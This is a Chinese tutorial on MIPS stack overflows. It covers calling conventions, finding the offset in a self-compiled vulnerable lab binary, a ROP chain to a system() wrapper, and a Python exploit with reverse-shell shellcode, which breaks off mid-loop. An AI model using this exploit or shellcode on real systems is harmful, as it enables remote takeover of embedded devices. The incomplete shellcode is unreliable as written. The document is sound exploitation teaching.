▷ MIPS栈溢出:ROP构造与Shellocde注入
0.前言前段时间写了DVRF系列的题目,对rop的构造感觉还是有点力不从心,所以深入学习一下怎么构造rop链
注意,全程复现应该用ubuntu16.04,不要用18.04或者20.04,不然很有可能会导致后面的gadget找不到
程序至少也要在ubuntu16.04交叉编译,不然直接在ubuntu18.04或者更高版本下,都有可能有gadget找不到的后果....
1.MIPS32架构堆栈跟一般的x86架构不同,mips32架构的函数调用方式与x86系统有很大差别,比如说
mips没有栈底指针,也就是ebp,所以当函数进栈的时候,都是需要将当前指针向下移动n个比特,也就是该函数在堆栈空间所存储的大小n,后面就不再移动指针了,只能在函数返回时将栈指针加上偏移量去恢复栈现场,所以寄存器压栈和出栈的时候都需要指明偏移量
参数传递的方式也跟x86不一样,x86是直接压入栈中,而mips是前4个传入的参数通过$a0-$a3寄存器传递,如果参数超过了4个,那么多余的参数会放入调用参数空间
返回地址也不一样,x86调用函数,就是把函数的返回地址压入堆栈中,而mips是把返回地址放入到$ra寄存器中
2.MIPS函数调用这里引入一个概念叶子函数和非叶子函数
如果一个函数A中不在调用其他任何函数,那么当前函数A就是一个叶子函数,否则就是非叶子函数
当函数A调用函数B的时候:
首先,call指令会复制当前$PC寄存器的值到$RA寄存器中,然后再跳转到B函数并执行
然后这里要判断B函数是否是叶子函数:
如果是非叶子函数,那么是会把放在$RA寄存器中的函数A的返回地址放到堆栈中
如果是叶子函数,那就不用动,函数A的返回地址还是在$RA寄存器中
函数B执行完之后要返回到函数A时
如果是非叶子函数,就要先从堆栈中把函数A的返回地址取出来,然后存到寄存器$RA中,再使用jr $ra跳转到函数A
如何函数B是叶子函数,就直接jr $ra返回函数A
2.1 函数调用参数传递#include
在ida静态分析可以看出,main函数分配了7个临时变量
其中var_10-var_1C都是要放在$a0-$a3寄存器中,而剩下的var_30,var_34,var_38要从临时变量取出,存储到main函数预留的调用参数空间
动态调试看看,在sprintf函数处下个断点,那边ubuntu开启qemu模拟,这边ida远程动态链接
sudo chroot . ./qemu-mips-static -g 1234 ./mips-test当main调用test(v1-v7)时,调用者main会先将前4个参数正序存入$a0-$a3寄存器,再将第5-7个参数按正序压入自己的栈空间,低地址对应v5,高地址递增存放v6、v7
当test内部调用sprintf需要传递9个参数时,test会自行将前4个参数正序存入$a0-$a3,剩余5个参数按正序压入自己的新栈空间,整个过程参数始终按源码中的从左到右顺序传递,且每个函数仅操作自己的寄存器或栈空间,不会涉及其他函数的栈帧,而main传递的$a0-$a3,也就是v1-v4在test调用sprintf时被覆盖,但这些值已通过寄存器或test的局部变量(a, b, c, d)保存,因此不会丢失
【----帮助网安学习,以下所有学习资料加v~x:YJ-2021-1,备注“freebuf”获取!】
① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)
在 MIPS 调用约定中,main 函数通常不会主动取出或恢复存放到寄存器$a0-$a3中的参数值
以下这张图堆栈图是上述程序代码中,main函数调用了test函数之后,还需要原来的寄存器$a0-$a3的值,才会把4个寄存器压入到栈中
2.2 MIPS缓冲区溢出x86架构下,返回地址一般是放入到堆栈中,所以栈溢出可以劫持程序的执行流
mips架构函数的返回地址一般都是在$ra寄存器中,同样也有栈溢出的风险
非叶子函数
#include
所以如果stack函数的局部变量发生缓冲区溢出,就有可能覆盖掉main函数的返回地址,从而被劫持程序执行流,这一点跟x86是一样的
叶子函数
#include 所以如果按照x86或者非叶子函数那样的溢出方法,是无法覆盖掉main函数的返回地址的,因为无法操作寄存器$ra 但是呢,如果缓冲区溢出覆盖区域足够大,大到能覆盖掉main函数栈帧中存放的上层函数的返回地址,因为main函数也是个非叶子函数,上层函数的返回地址被main函数放在它自己的堆栈中,所以叶子函数也是可以存在缓冲区溢出的风险的,只要覆盖的数据足够大 举一个完整的例子 #include 具体功能是从passwd文件中读取密码,如果密码是"adminpwd",就列出当前目录,否则就显示密码错误并退出程序 创建一个passwd文件然后向其写入500个垃圾数据,然后运行qemu编译过的程序,可以发现程序报错了 python -c "print 'A'*500" > passwd所以开启一个端口进行远程动态调试,因为ubuntu18.04的原因,导致pwndbg一直报错,无奈只能ida进行远程动态调试了 所以这里配置主要就是ubuntu16.04和ida pro 7.5 不用下断点,直接动态运行,让其崩溃,看看那500个垃圾数据是否能覆盖到内存空间里面 注意这里要关闭掉各种保护,特别是canary保护,不然垃圾数据覆盖不了 mips-linux-gnu-gcc -g -fno-stack-protector -no-pie -fno-pie -z execstack vuln_system.c -static -o vuln_systemsudo chroot . ./qemu-mips-static -g 1234 ./vuln_system 可以看到不仅是内存空间,就连PC寄存器,$ra寄存器,堆栈空间都被覆盖成了垃圾数据,所以这里肯定有栈溢出漏洞,毕竟PC都已经被劫持了 确定可以劫持PC之后,就要精准确定多少字节可以使PC指向期望的地址,也就是要确定偏移量 一般来说用大型字符脚本去确定,通过建立大型字符,然后任取4连续4位,这4位的值在大型字符里面是唯一的,找出覆盖到PC的4个字符在字符集合里面的偏移就可以找到偏移量,通常都是用patternLocOffset.py这个脚本去进行确定 patternLocOffset.py 生成1000个垃圾字符到passwd python patternLocOffset.py -c -l 1000 -f passwd 然后ida动态远程调试,直接让其崩溃,确定PC的地址 可以看到$ra寄存器崩溃的位置在0x34416e35的位置,然后再用patternLocOffset.py去通过劫持的PC地址确定精准偏移量 python patternLocOffset.py -s 0x34416e35 -l 1000 也就是填充404(0x194h)个字节后就可以精准劫持PC了 验证一下 python2 -c "print 'A'*0x194+'BBBBCCCC'" > passwd 可以看到PC和$ra寄存器已经被覆盖成我们想要的BBBBCCCC地址了,这说明404个字节是没错的 确定偏移还有一种方法是栈帧分析,通俗来讲就是静态分析,通过ida显示的数据进行计算得到偏移量 但是我不推荐这种方法,虽然网上还有书上都说可以,但其实我自己去复现了之后发现是行不通的,偏差差太多了,有可能是ida的缘故,也有可能是程序本身在编译的过程中受不同环境影响而偏差,比如说上述例子代码在ida静态分析中计算出来的偏移量就和动态分析出来的不一致,这种情况下还是要以动态的为主,那干脆就一步到位直接动态去确定偏移量就没错了 确定好偏移量之后,就可以确定攻击途径了 根据源代码,该漏洞可以用命令执行,毕竟有一个do_system()函数,或者写shellcode进行攻击 2.2.1 命令执行这里先介绍命令执行攻击 所以就得跟x86一样构造ROP链,do_system(count,"ls -L")函数有两个参数,由IDA可知其地址为0x00400880 根据前文所说,我们需要找到可以把参数放入$a0和$a1寄存器的gadget 而count是固定字符串,所以只需要找到$a1寄存器的gadget即可 直接在ubuntu用ROPgadget找$a1寄存器的gadget找出来一大堆,而且感觉ROPgadget用来找mips架构的不太好找,不像x86_x64那么方便 所以直接在ida用mipsrop找了 下面这张图是用ubuntu16.04进行mips的交叉编译之后得到的程序所找的gadget,一共是19个gadget 而在此之前,我用了ubuntu18.04进行mips交叉编译得到程序去寻找gadget,只能找到13个 虽然两者都只能找到3个有关$a1寄存器的gadget,但是呢ubuntu18.04那边的gadget最后都只跟$t9寄存器相关 虽说$t9寄存器的值是MIPS程序的函数的起始地址,也就是说MIPS的函数执行机制要求$t9寄存器必须指向当前函数的入口地址,也就是说理论上$t9寄存器可替代$ra控制程序流,但是那得先确保程序中通过jalr $t9或者类似指令跳转的代码,比如说动态连接函数调用,并且我们还能控制$t9寄存器的值 又或者$t9寄存器的值被保存到堆栈中,且该值可被覆盖,那么这些都是可以控制$t9达到$ra的目的的条件,但很明显,这个例子不具备上述条件,所以自然攻击失败 mipsrop.stackfinders()是一个针对 MIPS二进制文件 的辅助分析命令,帮助漏洞利用开发者快速定位与栈操作相关的ROP gadget 由上到下,我们就选取最后一共0x004474BC地址的gadget,因为其他的gadget要么没有$ra寄存器跳转,要么中间隔得十分远,所以最后一个是最合适的 从gadget看出,我们只要在$sp+0x54+var_3C中构造好字符串,$a1寄存器便可输入我们想要的命令字符串,然后在jr $ra语句时把$ra寄存器覆盖成跳转到do_system函数的地址也就是0x00400A80即可完成整个payload payload: exp.py: import structprint("[*] prepare shellcode")cmd = "sh"cmd += "\00"*(4-(len(cmd) %4)) # 栈对齐shellcode = "A"*0x194shellcode += struct.pack(">L",0x004474BC)shellcode += "A"*0x18 #0x18=24shellcode += cmdshellcode += "B"*(0x3C - len(cmd))shellcode += struct.pack(">L", 0x00400A80)print("OK!")print("[+] create password file")fw = open('passwd','w')fw.write(shellcode)fw.close()print("ok") 2.2.2 Shellcode所谓的shellcode就是在缓冲区溢出攻击中植入进程的代码,可以获取shell,执行命令,开启端口等等 一般来说,我们要获取shellcode要么网上搜,要么自己写一个C程序编译后反编译提取汇编指令 而由上述的分析可知,vuln_system存在缓冲区溢出且可以造成命令注入,所以如果要用shellcode攻击的话,可以用execve shellcode让嵌入shellcode的程序运行一个应用程序 但是shellcode可能会遇到NULL的限制导致复制到缓冲区的shellcode是不完整的,所以得进行优化一波,避免出现NULL这样的坏字符 我们还可以建立一个反向连接的shellcode,用来在一个被攻击系统和另一个系统之间建立连接,然后把execve shellcode注入进去,达到命令注入攻击的目的 那就需要socket connect dup2和execve 的shellcode,然后使用NetCat工具,也就是我们常说的NC进行端口监听,看看shellcode有没有成功注入进去 但是这里如果用windows版的nc,都会被Windows defender给杀掉.......最后换了kali,同时要保证kali和ubuntu之间能ping通 通过最开始垃圾数据命令可知,再把0x194个A覆盖后,B覆盖了$ra寄存器和pc寄存器,而C覆盖了后面的地址 所以可以利用C覆盖的这部分地址把B覆盖的放返回地址的寄存器给覆盖了,挟持程序执行流到C覆盖处,而C覆盖处就写入编写好的shellcode 当前栈顶的值是0x7FFFEF90,但是这个堆栈是变化的,所以每一次测试都得重新定位 完整exp_shellcode.py: import structimport socketdef makeshellcode(hostip,port):host=socket.ntohl(struct.unpack('I',socket.inet_aton(hostip))[0])hosts=struct.unpack('cccc',struct.pack('>L',host))ports=struct.unpack('cccc',struct.pack('>L',port))mipshell="\x24\x0f\xff\xfa" #li t7,-6mipshell+="\x01\xe0\x78\x27" #nor t7,t7,zeromipshell+="\x21\xe4\xff\xfd" #addi a0,t7,-3mipshell+="\x21\xe5\xff\xfd" #addi a1,t7,-3mipshell+="\x28\x06\xff\xff" #slti a2,zero,-1mipshell+="\x24\x02\x10\x57" #li v0,4183 #sys_socketmipshell+="\x01\x01\x01\x0c" #syscall 0x40404mipshell+="\xaf\xa2\xff\xff" #sw v0,-1(sp)mipshell+="\x8f\xa4\xff\xff" #lw a1,-1(sp)mipshell+="\x34\x0f\xff\xfd" #li t7,0xfffdmipshell+="\x01\xe0\x78\x27" #nor t7,t7 zeromipshell+="\xaf\xaf\xff\xe0" #sw t7,-32(sp)mipshell+="\x3c\x0e"+struct.pack('2c',ports[2],ports[3]) #lui t6,0x1f90mipshell+="\x35\xce"+struct.pack('2c',ports[2],ports[3]) #ori t6,t6,0x1f90mipshell+="\xaf\xae\xff\xe4" #sw t6,-28(sp)mipshell+="\x3c\x0e"+struct.pack('2c',hosts[0],hosts[1]) #lui t6,0x7f01mipshell+="\x35\xce"+struct.pack('2c',hosts[2],hosts[3]) #ori t6,t6,0x101mipshell+="\xaf\xae\xff\xe6" #sw t6,-26(sp)mipshell+="\x27\xa5\xff\xe2" #addiu a1,sp,-30mipshell+="\x24\x0c\xff\xef" #li t4,-17mipshell+="\x01\x80\x30\x27" #nor a2,t4,zeromipshell+="\x24\x02\x10\x4a" #li v0,4170 #sys_connectmipshell+="\x01\x01\x01\x0c" #syscall 0x40404mipshell+="\x24\x11\xff\xfd" #li s1,-3mipshell+="\x02\x20\x88\x27" #nor s1,s1,zeromipshell+="\x8f\xa4\xff\xff" #lw a0,-1(sp)mipshell+="\x02\x20\x28\x21" #move a1,s1 #dup2_loopmipshell+="\x24\x02\x0f\xdf" #li v0,4063 #sys_dup2mipshell+="\x01\x01\x01\x0c" #syscall 0x40404mipshell+="\x24\x10\xff\xff" #li s0,-1mipshell+="\x22\x31\xff\xff" #addi s1,s1,-1mipshell+="\x16\x30\xff\xfa" #bne s1,s0,68 这里端口号4444我试了很多次,均监听不到,后来改为8888就可以了,猜测有可能是端口占用了